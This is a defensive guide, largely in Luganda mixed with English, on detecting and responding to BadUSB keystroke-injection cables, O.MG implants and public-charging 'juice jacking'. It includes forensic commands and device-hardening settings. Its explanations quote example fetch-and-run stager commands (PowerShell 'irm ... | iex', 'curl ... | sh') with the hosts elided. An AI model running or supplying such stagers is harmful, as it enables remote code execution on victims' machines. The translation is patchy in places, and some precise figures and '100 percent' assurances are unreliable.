Waabu za USB ez’obulabe (HID Injection / BadUSB) n’okukuuma Kiosk ez’olukale¶

Okusiba laptop yo, ssimu yo ey’omu ngalo, oba tabuleti mu waya y’okucaajinga USB-C oba Lightning gy’otomanyi eyalekebwa emabega ku mmeeza ya wooteeri, ekikomera ky’ekisaawe ky’ennyonyi, rideshare backseat, oba conference swag bag, oba okulaba Windows Run dialog (Win + R), eddirisa lya PowerShell, oba macOS Terminal flash ku screen yo okumala milisekondi 500 n’otandika okuwandiika ku bigambo 1,000 buli ddakiika amangu ddala ng’omaze okuyunga waya ya USB, flash drive, oba presentation clicker, gwe mukono gwa BadUSB / HID (Human Interface Device) Keystroke Injection Attack oba Public Charging Kiosk Exploitation ("Juice Jacking"). Okwawukanako ne malware ey’ekinnansi eterekebwa nga fayiro ku thumb drive nga antivirus scanners ze zisobola okwekenneenya nga tezinnaggulawo, ebikozesebwa ebiteekebwamu eby’okulwanyisa nga O.MG Cable, USB Rubber Ducky, Flipper Zero BadUSB, Bash Bunny, ne USBHarpoon biyingiza microcontroller entonotono ne leediyo ya Wi-Fi butereevu munda mu kiyungo kya pulasitiika ekibumbe ekisusunku ky’omuguwa ogw’okucaajinga ogwa Apple, Anker oba Samsung ogulabika nga gwa bulijjo (obuwanvu bwa milimita 12 zokka oba yinsi 0.47).

Bw’ogiteeka mu kompyuta yo oba ku ssimu ey’omu ngalo etaliiko kkufulu, microcontroller eyo enkweke telangirira eri enkola yo ng’etereka oba chajingi. Wabula, ebala ku USB D+ era D- ppini za data nga omutindo USB HID Keyboard (Class 0x03) oba Adaapta y'omukutu gwa USB Ethernet (RNDIS / ECM). Olw’okuba Windows, macOS, Linux, iOS, ne Android mu butonde zeesiga keyboards empya eziyingiziddwamu nga tekyetaagisa ddereeva oba antivirus scans, cable eno ekuba amangu ddala omutendera gw’okukuba ebisumuluzo ogutegekeddwa nga tegunnabaawo (Win + R -> powershell -w hidden -ep bypass ... ku Windows, oba Cmd + Space -> Terminal ku macOS) oba okutandikawo omugugu gwa Wi-Fi ogufugibwa okuva ewala akaseera omulumbaganyi mu mmita 90 (fuuti 300) lw'anyiga "Execute" ku ssimu ye. Okufuna ebifo ebigazi ebitaliiko waya n’okutiisatiisa omukutu gw’entambula ku mabbali g’emyalo gy’okucaajinga, era weebuuze ku byaffe... Wi-Fi ey’olukale, Evil Twin, ne juice jacking defense guide. Bw’oba ​​oyolekedde okutiisibwatiisibwa mu mubiri oba okuggyibwako ssente, kuba ku nnamba y’amangu mu kitundu kyo (911 mu Amerika ne Canada, . 112 okwetoloola omukago gwa Bulaaya, . 999 mu Bungereza) oba laba ebyaffe ennamba z’amangu dayirekita. Goberera ebikolwa eby’amangu eby’okwawula ebikozesebwa n’okuzzaawo eby’amateeka wansi.

Kino kikole kati¶

1. YANK the suspected USB cable, flash drive, dock, or charging cord out of your device’s port IMMEDIATELY: Buli sikonda BadUSB oba O.MG Cable bw’esigala ng’eyungiddwa mu kompyuta oba essimu etaliiko kkufulu esobozesa microcontroller yaayo ey’omunda (oba omulumbaganyi ali okumpi ng’ayungiddwa ku kifo kya Wi-Fi eky’omunda ekikwese ekya cable) okuyingiza ebisumuluzo, okufulumya data ku USB ekukuse serial/network channel, oba ddukanya hardware keylogger ewandiika buli password gy'owandiika ku keyboard yo ey'ebweru.
2. Ggyako laptop oba essimu ekoseddwa ku Wi-Fi, Ethernet, ne Bluetooth mu kiseera kino, era TOwandiika password yonna ku kyuma ekyo: Standard 2-second BadUSB / Rubber Ducky payload tewandiika program nnene nnyo ku slow keyboard interface; mu kifo ky'ekyo, ewandiika ekiragiro kya layini 1 "stager" mu PowerShell (iex (irm http://...)) oba Terminal ya macOS (curl -s http://... | sh) ewanula infostealer enzijuvu oba trojan ey’okuyingira ewala ku mukutu gwo ogwa Wi-Fi. Okusala Wi-Fi ne Ethernet kitta mangu okuwanula oba okuyimiriza okufulumya.
3. Bw'oba okwata ku "Trust This Computer" ku iPhone/iPad yo oba n'olonze "File Transfer (MTP) / Allow USB Debugging (ADB)" ku ssimu yo eya Android ku kiosk y'okucaajinga mu lujjudde, sazaamu obwesige mu bwangu:
4. Ku iPhone / iPad: Ggyako omuguwa, genda ku Settings > Developer (bwe kiba nga kirabika wansi mu Settings) -> koona ku Clear Trusted Computers. Singa Developer teyalabika, genda ku Ensengeka > General > Transfer oba Reset iPhone > Reset > Reset Location & Privacy, ekisangula byonna ebigatta mu ngeri ya cryptographic lockdownd host pairing records kale tewali kompyuta oba kiosk esobola kuddamu kuyingira mu iPhone backup yo nga tolina passcode yo.
5. Ku Android: Ggyako omuguwa, genda ku Settings > System > Developer options (bwe kiba nga kikoleddwa) -> koona ku Revoke USB debugging authorizations, era okyuse Developer options ddala OFF.
6. Kebera kiki BadUSB keystroke payload kye yaakawandiika ku kompyuta yo ng'ossaako akabonero ku Run box yo (RunMRU), Ekiwandiiko ky'ebiragiro bya PowerShell (PSReadLine), ne macOS Terminal history: Nga tonnaba kuddamu kutandika, ggulawo eddirisa lya terminal ennyonjo ku kompyuta yo etali ku mukutu osome ekiragiro ekituufu ekicupuli kya USB keyboard kye yafuyira mu nkola yo ng’okozesa yaffe ebiragiro by’okubala ebitabo by’amateeka mu Mutendera 2.
7. Teeka waya ya USB oba thumb drive eteeberezebwa mu kibya eky'ekyuma oba mu nsawo ya Faraday (TOGIGIDDE mu kompyuta yonna "okulaba ekigiriko"): Kubanga O.MG Cable erimu active ESP8266/ESP32 Wi-Fi transceiver ekola amaanyi buli lw'efuna 5 volts (ne bw'ogiteeka mu USB wall brick oba battery bank esirifu), ng'ogiteeka mu bbugwe charger ekoleeza ekifo kyayo ekikwese ekya Wi-Fi access point era esobozesa omulumbaganyi wabweru w’ekisenge kya wooteeri yo oba ofiisi yo okugiyungako oba okutandika okwesaanyaawo (Self-Destruct / Wipe) ekintu eky'enjawulo. Kireke nga kiggyiddwa ddala ku pulaagi.
8. Singa BadUSB payload yakola script ku kompyuta yo ng’oyingidde, kyusa ebiwandiiko byonna era osazeewo entuula ezikola okuva ku kyuma eky’enjawulo, ekiyonjo: Kubanga ebitundu 90 ku 100 eby’emigugu gya BadUSB egy’omulembe gitongoza infostealer ekwata kukisi za browser n’ebigambo ebikusike ebiterekeddwa mu sikonda 3, kola yaffe session cookie hijacking ne infostealer akabonero okusazaamu ekitabo okuva ku ssimu ey’omu ngalo ennyonjo.

Omuti gw’okusalawo: okuddamu ku waya ya USB eteeberezebwa okuba ey’obulabe oba okubikkulwa mu kiosk ey’olukale¶

Kozesa flowchart eno ey’obukodyo okuzuula oba ekyuma kyo kyabadde mu kabi oluvannyuma lw’okussa mu waya ya USB eteesigika, dock, thumb drive, oba public charging station:

flowchart TD
    Event["Eyungiddwa mu USB Cable etamanyiddwa, Flash Drive ezuuliddwa, Hotel/Airport Kiosk, oba Saw Terminal/Run Window Flash ku Screen"] --> Unplug["OMUDDAALA 1: Ggyako USB Cable / Device amangu ddala & Ggyako Wi-Fi / Ethernet"]

    Unplug --> WhatDevice{"Ekyuma Ki Ekyayingizibwa Mu USB Cord oba Port Etamanyiddwa?"}

    WhatDevice -->|"Windows, macOS, oba Linux Laptop / Desktop"| ScreenLocked{"Screen Ya Kompyuta Yali LOCKED Oba UNLOCKED Nga Eyingiziddwa?"}
    WhatDevice -->|"Omukutu gwa iPhone / iPad (iOS / iPadOS) ."| iOSState{"iPhone Yali Esumuluddwa, era Wakuba ‘Trust’ oba Olabye Okuwandiika?"}
    WhatDevice -->|"Essimu / Tabuleti ya Android"| AndroidState{"Essimu Yasumululwa, Oba 'USB Debugging (ADB)' Yakozesebwa?"}

    ScreenLocked -->|"Unlocked (Eyingidde Mu Desktop) ."| AssumeHID["HIGH RISK: BadUSB / O.MG Cable Esobola Okukola Keystrokes (Win+R / Cmd+Space) mu <1.5 Seconds awatali kusaba kwonna -> Genda ku Phase 2 Forensic Audit"]
    ScreenLocked -->|"Ekubiddwa (Ekisenge ky'Ebigambo by'Okuyita) ."| NetworkDMA["Kebera Oba Thunderbolt/PCIe DMA oba USB Ethernet (Obutwa bwa RNDIS/DHCP) Yabaddewo; Ebisumuluzo Tebisobola Kuyita Ku Lock Screen Nga Tolina Password Yo"]

    iOSState -->|"Yasibye Ekiseera Kyonna (iOS 15+ / USB Restricted Mode)"| iOSSafe["SAFE: Apple 'USB Restricted Mode' Elemesa Mu Mubiri Data Pins ku iPhones ezikubiddwa -> Amasannyalaze gokka ge gayise"]
    iOSState -->|"Unlocked & Tapped 'Trust' (Oba Yalaba Safari/Amakubo Amampi Nga Gaggule)"| iOSRevoke["Amangu ago Dduka: Ensengeka > General > Okukyusa oba Okuzzaawo iPhone > Ddamu > Okuzzaawo Ekifo & Eby'ekyama + Audit Shortcuts App"]

    AndroidState -->|"Yasibye Ekiseera Kyonna (Charge-Only Mode)"| AndroidSafe["SAFE: Android ey'omulembe Esookera ku 'Tewali Kutambuza Data (Charge Yokka)' -> Tewali Data Eyisiddwa"]
    AndroidState -->|"Unlocked & Saw Screen Okuwandiika oba ADB/MTP ekkiriziddwa"| AndroidRevoke["Lemesa Enkola za Developer -> Sazaamu USB Debugging -> Kebera Apps eziteekeddwako & Chrome Downloads"]

Okutegeera engeri BadUSB, O.MG Cables, ne Public Charging Attacks gyezikolamu mu butuufu¶

Okusobola okwewozaako obulungi, n’okwewala byombi obutakola bulungi ku hardware implant entuufu n’okutya olw’emikutu gy’okucaajinga egitalina bulabe, olina okutegeera enkola ssatu ez’enjawulo ez’ekikugu abalumbaganyi ze bakozesa ku USB:

1. BadUSB / HID Empiso y’okukuba ebisumuluzo (O.MG Cable, . Rubber Ducky, . Flipper Zero) .¶

• Ekizibu Ekikulu mu Dizayini ya USB: Bbaasi ya Universal Serial (USB) specification ekkiriza ekiyungo ekimu eky'omubiri okwerangirira nga kiraasi yonna ey'ekyuma mu kiseera ky'okubala (bInterfaceClass), oba wadde nga Composite Device (okwerangirira omulundi gumu nga USB Flash Drive ne USB Keyboard).
• Munda mu O.MG Cable oba Malicious Charger: Mu kulaba, O.MG Cable teyawulwamu ebitundu 100 ku 100 ku Apple USB-C-to-USB-C, USB-C-to-Lightning, oba USB-A cable entuufu. Ecaajinga essimu yo n’etambuza data mu ngeri eya bulijjo. Wabula ekikwese munda mu active connector tip ye microscopic dual-core microcontroller nga erina 802.11 Wi-Fi ne flash storage:
• Active Keystroke Injection: Akaseera k’ossa waya mu Windows PC, Mac, oba ssimu ey’omu ngalo etaliiko kkufulu, cable ebala nga generic HID Keyboard era ewandiika ennukuta eziwera 850 buli sikonda (DuckyScript). Mu sikonda emu n’ekitundu, enyiga Win + R (Amadirisa) oba Cmd + Space (Mac), atongoza ekisusunku eky’emabega ekikwese, n’awanula omugugu, n’aggalawo eddirisa.
• Inline Hardware Keylogger (For External USB Keyboards): Singa omulumbaganyi akyusakyusa waya ya USB eyunga keyboard yo ey’ebyuma ey’ebweru ku PC yo ey’oku mmeeza ne O.MG Cable, ekintu ekisimbibwa kituula mu kasirise wakati mu waya ne kiwandiika ** okutuuka ku 650,000 keystrokes** (nga mw’otwalidde ne Bitwarden/1Password Master Password yo, Windows login PIN, ne BIOS password) mu flash memory yaayo ey’omunda, omulumbaganyi gy’awanula ku waya okuva ebweru w’ekizimbe ku Wi-Fi.
• Geofenced & Time-Delayed Payloads: Okwawukanako ne USB Rubber Ducky ennyangu eya doola 50 ewandiika payload yaayo mu kaseera ako, O.MG Cable esobola okusigala ng’esula ddala ng’omuguwa ogwa bulijjo ogw’okucaajinga okumala ennaku oba wiiki okutuusa lw’ezuula omukutu gwo ogwa Wi-Fi ogw’ekitongole (BSSID geofencing) oba okutuusa ng’omulumbaganyi akisitula okuva ewala ng’ayita mu web UI yaayo ezimbiddwamu.

2. Okuwamba Adapter ya USB Network (RNDIS / . CDC-ECM / . PoisonTap / . Bash Bunny) .¶

• Ne bwe kiba nti screen ya laptop yo esibye (Win + L oba Ctrl + Cmd + Q) kale ekicupuli kya USB keyboard tekisobola kuggulawo ddirisa lya terminal, okussa ekyuma kya USB ekibi mu USB data port etaliiko kkufulu kisobozesa ekyuma okubala nga High-Priority Gigabit USB Ethernet Adapter (USB RNDIS oba CDC-ECM).
• Olw’okuba Windows ne macOS zikulembeza butereevu enkola ya Ethernet eya waya empya eyungiddwa ku Wi-Fi, ekyuma kya USB kifuuka omulyango gwa laptop yo ogusookerwako nga guyita mu DHCP (0.0.0.0/1), ekwata entambula y’omukutu gw’omu kitundu etalina nsirifu, eddamu WPAD / . LLMNR / . mDNS okubuuza, oba okusiba kukisi za bbulawuzi ezitali za HttpOnly ez'emabega.

3. Ekifo eky'olukale "Juice Jacking" (MTP / . PTP / . iOS lockdownd / . Android ADB) .¶

• Bw’ossa essimu ey’omu ngalo mu mulyango gwa USB ogw’olukale (ku kisaawe ky’ennyonyi, ku siteegi y’eggaali y’omukka, omutwe gw’ekitanda kya wooteeri, oba ekifo eky’okusanyusa abantu mu mmotoka y’okupangisa) ng’okozesa waya eya bulijjo esobola okukozesa data:
• Ekizibiddwa mu ngeri ey’otoma: Okuva iOS 11.4.1 / iOS 15+ (USB Restricted Mode) ne Android 9+ (Charge-Only Default), okussa essimu mu USB data port te kulaga bifaananyi byo oba fayiro zo mu ngeri ey'otoma. Okutambuza data kuziyiziddwa okutuusa lw'osumulula essimu ERA n'onyiga mu bulambulukufu ku "Trust This Computer" (nga kw'ogasse n'oyingiza iPhone Passcode yo) oba okukyusa mu ngalo okumanyisibwa kwa USB kwa Android okuva ku No data transfer okudda ku File Transfer (MTP) oba Allow USB Debugging.
• Awali akabi akatuufu we kali ku bifo eby'olukale:
  1. ChoiceJacking & HID Injection ku masimu agataliiko kkufulu: Nga bwe kyalagibwa abanoonyereza ku by’okwerinda mu Graz University of Technology (ChoiceJacking), singa essimu yo esumululwa mu ngalo zo ng’ogiteeka mu mulyango gwa USB ogw’olukale ogw’obulabe, kiosk esobola okusooka okubala nga USB Keyboard (HID) okumala milisekondi 200 era oweereze ekituufu Tab / . Enter oba okukuba ebisumuluzo ebiyamba ebyetaagisa okunyiga ku "Allow / File Transfer" prompt for you ku screen yo nga tonnakyusa mu host data-transfer mode.
  2. Amaanyi Amakyafu / Okwonooneka kwa Hardware Okuyitiridde (USB Killer): Omukutu gwa USB ogw’olukale ogwonooneddwa gusobola okusuula DC 200V okuva mu bbanka ya capacitor butereevu mu chip ya USB-C controller y’essimu yo, n’esiika logic board enkalakkalira.

Okugeraageranya Matrix: USB Defense Hardware & OS Obukuumi¶

Omutendera 1: Engeri y’okuzuulamu n’okulaba n’amasannyalaze Cable ya USB embi (O.MG Cable Audit)¶

Bw’oba ​​ozudde waya ya USB eteeberezebwa mu ofiisi yo, ng’eyungiddwa emabega wa keyboard ya PC yo ey’oku mmeeza, oba munda mu nsawo yo ey’okutambula, goberera emitendera gino ena okuzuula oba nga ya hardware implant:

1. Okugezesa #1: Pima Okugenda mu maaso oba Kozesa Hardware Cable Tester (O.MG Malicious Cable Detector / . Bleeping / Hak5 Tester):
2. Standard passive USB-A-to-USB-C, USB-A-to-Lightning, oba non-E-Marked USB-C charging cables tezirina microprocessor ekola esika current nga enkomerero emu yokka eyingiziddwa mu masannyalaze.
3. O.MG Malicious Cable Detector (oba inline USB current/protocol analyzer nga a Power-Z KM003C) etuula wakati w'ensibuko y'amasannyalaze ne waya nga tewali kintu kyonna kiyungiddwa ku nkomerero ya waya ewala:
   • Singa cable esika 30 ku 120 milliamps (mA) ya current ku 5V nga tewali kintu kyonna kissiddwa ku nkomerero endala, oba egezaako okuteesa ku USB D+/D- enumeration by itself, there is an active computer / Wi-Fi radio hidden inside the cable head.
4. Ekigezo #2: Kebera Ebifo Ebikwekebwamu Wi-Fi (O.MG SSIDs ezisookerwako oba ESP32 MAC Prefixes):
5. O.MG Cables ne wireless BadUSB implants zikozesa Espressif (ESP8266 / . ESP32-S2 / . ESP32-C3) Chip ya Wi-Fi munda mu kisusunku ky'ekiyungo.
6. Okukozesa bbanka ya bbaatule ya USB eyeetongodde munda mu kitundu kya faraday/ekyesudde (never your computer), okussa amaanyi ku cable ya O.MG etategekeddwa oba eya bulijjo kitera okuweereza omukutu gwa Wi-Fi ogwa 2.4 GHz (SSID eya bulijjo O.MG ku 192.168.4.1, oba SSID enkweke nga erina MAC Address / BSSID OUI eya Espressif Inc. nga 24:0A:C4, . 30:AE:A4, . 84:CC:A8, . A0:20:A6, . DC:4F:22, okuggyako nga kifumbiddwa).
7. Okugezesa #3: Kebera obuwanvu bwa Connector Overmold n'okuvaamu ebbugumu:
8. Compare the plastic strain-relief shell of the suspect cable against a known genuine Apple or Anker cable side-by-side:
   • While recent O.MG Cable generations match Apple's exact shell dimensions, after 3 minutes of receiving 5V power, the connector head containing the active Wi-Fi microcontroller will feel noticeably warm (35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) between your fingertips even when no phone is charging on the other end. (A normal passive cable with nothing plugged into the far end remains completely cold at room temperature.)

Phase 2: Forensic Triage If a BadUSB or O.MG Cable Typed on Your Computer¶

If you plugged a USB cable, thumb drive, or peripheral into your Windows PC, Mac, or Linux laptop and saw the Start menu, Run dialog (Win + R), Spotlight (Cmd + Space), or a black/blue terminal window flash open and close, do not reboot yet. Run these exact offline commands to see what the fake USB keyboard typed and what USB Vendor/Product ID (VID:PID) connected to your port:

1. Windows 10 & Windows 11 Forensic Audit (Run in Offline PowerShell)¶

Ggulawo PowerShell (Admin) ku Windows PC etali ku mukutu era okole ebiragiro bino ebina eby'okunoonyereza ku misango:

# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"

# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50

# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
    $prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
    if ($prop) {
        [PSCustomObject]@{
            FriendlyName = $_.FriendlyName
            Status       = $_.Status
            InstanceId   = $_.InstanceId
            FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
            LastArrival  = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
        }
    }
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize

# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message | Format-List

• Engeri y'okutaputa Get-ItemProperty ... RunMRU:
• Kumpi buli script ya Windows BadUSB / Rubber Ducky etandika nga onyiga Win + R (GUI r mu DuckyScript) n'okuwandiika ekiragiro nga powershell -w h -NoP -NonI -Ep Bypass irm https://... | iex oba cmd /c curl ....
• Ne bwe kiba nti script egezaako okusazaamu RunMRU ku nkomerero, singa yanked cable out mid-execution (oba singa script teyalongoosa registry), URL entuufu embi n'ekiragiro bijja kutuula munda ddala RunMRU (a, . b, . c emiwendo) oba munda ConsoleHost_history.txt.

2. Apple macOS Forensic Audit (Eddukanyizibwa mu Offline Terminal) .¶

Ku macOS, BadUSB payloads zitera okunyiga ** .Cmd + Space** (GUI SPACE), okuwandiika Terminal, okunyiga Enter, n’okudduka a curl oba osascript layini emu:

# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null

# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"

# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30

3. Okubala ebitabo by’ekitongole kya Linux (dmesg & journalctl) .¶

# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null

Singa ekimu ku biwandiiko ebyo waggulu kiraga nti a powershell, . cmd, . mshta, . curl, . wget, oba osascript ekiragiro ekikoleddwa nga oyungiddwa ku yintaneeti, kitwale nti infostealer oba persistent backdoor yadduka: revoke all sessions using our session cookie hijacking ne infostealer omulagirizi era okole clean OS reinstall nga ogoberera yaffe ekitabo ekikwata ku bulware, ransomware, ne spyware.

Omutendera 3: Okusiba Ebyuma Byo Kale BadUSB Cables Tezisobola Kukola Automatically¶

Enkola z’emirimu ez’omulembe kati zirimu ebizibiti eby’amaanyi ebizimbibwamu eby’omwalo gwa Hardware ebi ebifuula BadUSB, O.MG Cables, ne Rubber Duckies obutakola ddala nga tebinnaba kuwandiika nnukuta emu, kasita okoleeza ensengeka ezo:

1. Apple macOS (Apple Silicon M1 / ​​M2 / M3 / M4 MacBooks): Ssobozesa "Saba Ebikozesebwa Ebipya".¶

Ku Apple Silicon Macs ezikozesa macOS Ventura, Sonoma, oba Sequoia, Apple yaleeta olukusa lw'omwalo gwa USB-C/Thunderbolt ku ddaala lya hardware oluziyiza waya oba ekyuma kyonna ekipya ekya USB okubala nga keyboard okutuusa lw'onyiga mu bulambulukufu "Allow": 1. Ggulawo Menyu ya Apple () > Ensengeka z'enkola > Eby'ekyama & Obukuumi. 2. Ssenda wansi mu kitundu Obukuumi ozuule "Kiriza ebikozesebwa okuyungibwa". 3. Kikyuse okuva ku Automatically When Unlocked okudda ku "Saba Ebikozesebwa Ebipya" (oba "Buuza Buli Buli" okufuna obukuumi obw'obukuumi obw'amaanyi obw'entambula). 4. Lwaki kino kiyimiriza O.MG Cables okunnyogoga ku Mac: Bw'ossaamu cable ey'okucaajinga eya O.MG ey'obulimba nga "Ask Every Time" oba "Ask for New Accessories" ekoleddwa, amaanyi gakulukuta amangu ddala okucaajinga bbaatule ya MacBook yo, naye macOS efulumya akasengejja ak'okulabula nga kasoma: "Allow accessory '[Device Name]' to connect to this Mac?" Olw’okuba cable eya bulijjo eya passive charging tesaba kuyungibwa nga data accessory, okulaba nga pop-up eyo ng’ossaamu cord ya charging ennyangu kibikkula mangu cable nga hardware implant ate ng’eziyiza ebitundu 100 ku 100 eby’okugikuba ebisumuluzo okutuusa lw’ogiggyamu.

2. Apple iPhone & iPad: Kakasa nti "USB Restricted Mode" Ekoleddwa¶

1. Ggulawo Ensengeka > Face ID & Passcode (oba Touch ID & Passcode) oyingize passcode yo.
2. Ssenda wansi ku kitundu "Kiriza Okuyingira Nga Osibiddwa".
3. Kakasa nti toggle eri okumpi ne Accessories (oba USB Accessories) efuuliddwa OFF (enzirugavu).
4. Nga Accessories efuuliddwa OFF, buli iPhone yo lw’eba esibiddwa, iOS mu mubiri elemesa ppini za data za USB, n’esobozesa amaanyi g’okucaajinga gokka okuyita. Bulijjo nyweza bbaatuuni y’ebbali okusiba screen ya iPhone yo NGA TONNNA kugissa mu chajingi yonna gy’otomanyi oba mmotoka gy’opangisa.

3. Android 15 / 16 & GrapheneOS: Ssobozesa "Obukuumi obw'omulembe" / USB Port Lock¶

• Ku Android eya mutindo (Pixel, Samsung Galaxy):
• Tovangako Ebyokulonda by'Omukugu > Okulongoosa USB (ADB) esobozeseddwa nga otambula.
• Mu Ensengeka > Obukuumi & eby'ekyama > Enteekateeka endala ez'obukuumi (oba Obukuumi obw'omulembe ku Android 15/16+), sobozesa Obukuumi bwa USB / Zibira ebyuma ebipya ebya USB nga bikubiddwa kkufulu.
• Bulijjo siba screen yo nga tonnaba kuyungibwa ku port yonna ey’okucaajinga ey’olukale kale enlumba za ChoiceJacking HID teziyinza kukwatagana na screen etaliiko kkufulu.

4. Enkola ya Linux & Windows: USBGuard n’Obukwakkulizo bw’Okussaako Ebyuma¶

• Ku Linux (USBGuard): Teekawo... usbguard dayimooni (sudo apt install usbguard), ekiziyiza ekyuma kyonna ekya USB ekipya ekiyungiddwa okukakasa bInterfaceClass 03 (HID Keyboard) singa keyboard enkulu eba eyungiddwa dda oba okutuusa nga ekkiriziddwa mu bulambulukufu okuyita usbguard allow-device.
• Ku Windows 11 Pro / Enterprise: Ssobozesa Obukuumi bwa Kernel DMA (BitLocker + VBS) mu Windows Security > Device Security > Core Isolation okuyimiriza obulumbaganyi bwa Thunderbolt/PCIe DMA, era bulijjo osibe workstation yo (Win + L) nga tonnaba kussaamu waya ya USB yonna gy’otomanyi kale abakuba ebisumuluzo tebasobola kuyingira mu kisusunku kya desktop ekiyingidde.

Ebibuuzo ebitera okubuuzibwa¶

Omuguwa gwa O.MG Cable oba BadUSB ogw’obulabe gusobola okumenya essimu yange eya iPhone oba Android singa ngiyingizaamu yokka nga screen y’essimu yange esibiddwa?¶

Singa iPhone yo erina... Ensengeka > Face ID & Passcode > Kiriza Okuyingira Nga Osibye > Ebikozesebwa yakyuka TEKULI (ekisookerwako ku iOS 15 okutuuka ku iOS 18) era screen yo esibiddwa ng’ossaamu cable, tewali data oba keystrokes esobola kutuuka ku iPhone yo kubanga iOS elemesa layini za data za USB ku ddaala lya hardware controller okutuusa lw’osumulula essimu ne Face ID oba passcode yo. Wabula akaseera k’osumulula iPhone yo ng’eyo O.MG Cable ekyali mu ssimu, cable esobola okubala nga USB keyboard ey’ebweru n’eweereza amangu enkola ennyangu eza iOS keyboard (nga Cmd + Ekifo okuggulawo Spotlight, okuggulawo Safari ku URL ya phishing/configuration profile, oba okutandika Apple Shortcuts). Tokuumangako waya ya USB gy’ozudde oba gy’otokyesigika ng’ogisibye ng’osumulula essimu yo.

Nsobola ntya okumanya enjawulo wakati wa USB cable entuufu "Charge-Only" ne USB data cable eya bulijjo?¶

Olw’okuba abakola ebintu tebatera kukuba bubonero ku waya ezaawula emiguwa egy’okusasula zokka ku miguwa gya data, okugezesa okwangu okutali kwa bulabe kwe kusiba waya wakati wa kompyuta n’ekyuma ekikadde ekitali kikulu (oba okukozesa $10 inline USB cable pinout continuity tester Board nga... Treedix Omukebera waya za USB, eyaka LED ssekinnoomu ku buli waya ey’omunda awatali kutandika microcontroller yonna). Ku lubaawo olugezesa okugenda mu maaso, ekituufu Cable ya charge-Yokka ejja kwaka -okka VBUS era GND (2 LEDs), so nga cable esobola okukozesa data nayo ejja kwaka D+ era D- . (ne CC1/TX/RX ku USB-C). Ekirala, kuuma nga yeewaddeyo adapta ya USB Data Blocker ey’omubiri eyungibwa enkalakkalira ku nsonga y’omuguwa gwo ogw’okusasula ssente z’okutambula w’osobola okutunula mu mubiri munda mu mwalo gw’ekikazi n’okakasa n’amaaso go nti ppini za data eza wakati teziriiwo.

Kiba kirungi okussa waya yange ey’okucaajinga mu kifo ekifulumya amasannyalaze ga AC (2-prong / 3-prong wall socket) ku kisaawe ky’ennyonyi oba wooteeri mu kifo ky’omukutu gwa USB oguzimbibwamu?¶

Yee, 100 ku 100 tekirina bulabe. Socket y’amasannyalaze eya standard 110V / 230V AC ku bbugwe (gy’ossaamu ettoffaali lyo ery’amasannyalaze erya Apple, Samsung, oba Anker) etambuza amaanyi g’amasannyalaze agakyukakyuka gokka era erina zero data connections ezisobola okuwuliziganya ne USB controller y’essimu yo. Kasita okozesa ettoffaali lyo eryesigika erya AC wall adapter ne USB cable yo eyesigika, ekisaawe ky’ennyonyi oba wooteeri AC amasannyalaze tesobola kukola Juice Jacking oba BadUSB attacks.

Lwaki Windows yafuluma "Setting up a device: HID Keyboard Device" nga nnyigamu USB flash drive oba vape/e-cigarette charger?¶

Okulaba Windows eraga okusoma okumanyisibwa kwa toast "Okuteekawo ekyuma: Ekyuma kya HID Keyboard". bwe wassaamu ekintu ekibeera -li keyboard (nga USB flash drive, charging cable, desk fan ya layisi, digital photo frame, oba vape charger) ye mmundu #1 etaliimu kubuusabuusa efuuwa sigala eya a BadUSB / HID Obulumbaganyi bw'empiso y'okukuba ebisumuluzo. Tewali flash drive oba charging cable ntuufu yeetaaga kwewandiisa mu Windows nga keyboard. Ggyako ekyuma amangu ddala, ggyako Wi-Fi, era okole PowerShell RunMRU era PSReadLine ku mukutu gwaffe audit commands mu Phase 2 okulaba ekiragiro ki ekicupuli ekyo keyboard kye yawandiika.

Ensonda zeekebeddwa¶

• Ekitongole kya Federo ekinoonyereza ku misango (FBI) & Akakiiko ka Federo akavunaanyizibwa ku mpuliziganya (FCC) (United States): Ebirango by'abakozi ba gavumenti ku kabi akali mu siteegi y'okucaajinga USB ey'olukale ("Juice Jacking") n'okuteekebwamu ebyuma ebibi.
• Ekitongole ky’ebyokwerinda mu ggwanga (NSA) & Ekitongole ky'ebyokwerinda ku mikutu gya yintaneeti n'ebizimbe (CISA) (United States): Enkola Ennungi Ez'ebyuma by'essimu: Okutambula obulungi n'amasimu, Laptops, ne USB Peripherals.
• Yunivasite ya Graz eya Tekinologiya (TU Graz InfoSec Research Group): ChoiceJacking: Okukosa Ebyuma by’essimu nga tuyita mu Chargers Embi nga oyita mu USB HID Injection (USENIX Security Symposium).
• Apple Platform Security Guide: USB Restricted Mode, Okuyingira mu bikozesebwa nga bikubiddwa, ne macOS Apple Silicon USB/Thunderbolt Accessory Authorization Architecture.
